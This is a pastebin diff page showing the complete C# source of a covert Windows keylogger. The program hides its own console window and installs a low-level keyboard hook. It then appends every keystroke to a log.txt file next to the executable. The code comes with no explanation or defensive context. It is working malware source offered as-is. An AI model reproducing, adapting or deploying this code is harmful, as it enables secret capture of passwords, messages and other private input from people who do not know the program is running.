View difference between Paste ID: gGWaLiYX and nPmn7wAW
SHOW: | | - or go back to the newest paste.
1
using System;
2
using System.Diagnostics;
3
using System.Windows.Forms;
4
using System.Runtime.InteropServices;
5
using System.IO;
6
7
class InterceptKeys
8
{
9
    private const int WH_KEYBOARD_LL = 13;
10
    private const int WM_KEYDOWN = 0x0100;
11
    private static LowLevelKeyboardProc _proc = HookCallback;
12
    private static IntPtr _hookID = IntPtr.Zero;
13
14
    public static void Main()
15
    {
16
        var handle = GetConsoleWindow();
17
18
        // Hide
19
        ShowWindow(handle, SW_HIDE);
20
21
        _hookID = SetHook(_proc);
22
        Application.Run();
23
        UnhookWindowsHookEx(_hookID);
24
25
    }
26
27
    private static IntPtr SetHook(LowLevelKeyboardProc proc)
28
    {
29
        using (Process curProcess = Process.GetCurrentProcess())
30
        using (ProcessModule curModule = curProcess.MainModule)
31
        {
32
            return SetWindowsHookEx(WH_KEYBOARD_LL, proc,
33
                GetModuleHandle(curModule.ModuleName), 0);
34
        }
35
    }
36
37
    private delegate IntPtr LowLevelKeyboardProc(
38
        int nCode, IntPtr wParam, IntPtr lParam);
39
40
    private static IntPtr HookCallback(
41
        int nCode, IntPtr wParam, IntPtr lParam)
42
    {
43
        if (nCode >= 0 && wParam == (IntPtr)WM_KEYDOWN)
44
        {
45
            int vkCode = Marshal.ReadInt32(lParam);
46
            Console.WriteLine((Keys)vkCode);
47
            StreamWriter sw = new StreamWriter(Application.StartupPath+ @"\log.txt",true);
48
            sw.Write((Keys)vkCode);
49
            sw.Close();
50
        }
51
        return CallNextHookEx(_hookID, nCode, wParam, lParam);
52
    }
53
54
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
55
    private static extern IntPtr SetWindowsHookEx(int idHook,
56
        LowLevelKeyboardProc lpfn, IntPtr hMod, uint dwThreadId);
57
58
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
59
    [return: MarshalAs(UnmanagedType.Bool)]
60
    private static extern bool UnhookWindowsHookEx(IntPtr hhk);
61
62
    [DllImport("user32.dll", CharSet = CharSet.Auto, SetLastError = true)]
63
    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode,
64
        IntPtr wParam, IntPtr lParam);
65
66
    [DllImport("kernel32.dll", CharSet = CharSet.Auto, SetLastError = true)]
67
    private static extern IntPtr GetModuleHandle(string lpModuleName);
68
69
    [DllImport("kernel32.dll")]
70
    static extern IntPtr GetConsoleWindow();
71
72
    [DllImport("user32.dll")]
73
    static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
74
75
    const int SW_HIDE = 0;
76
77
}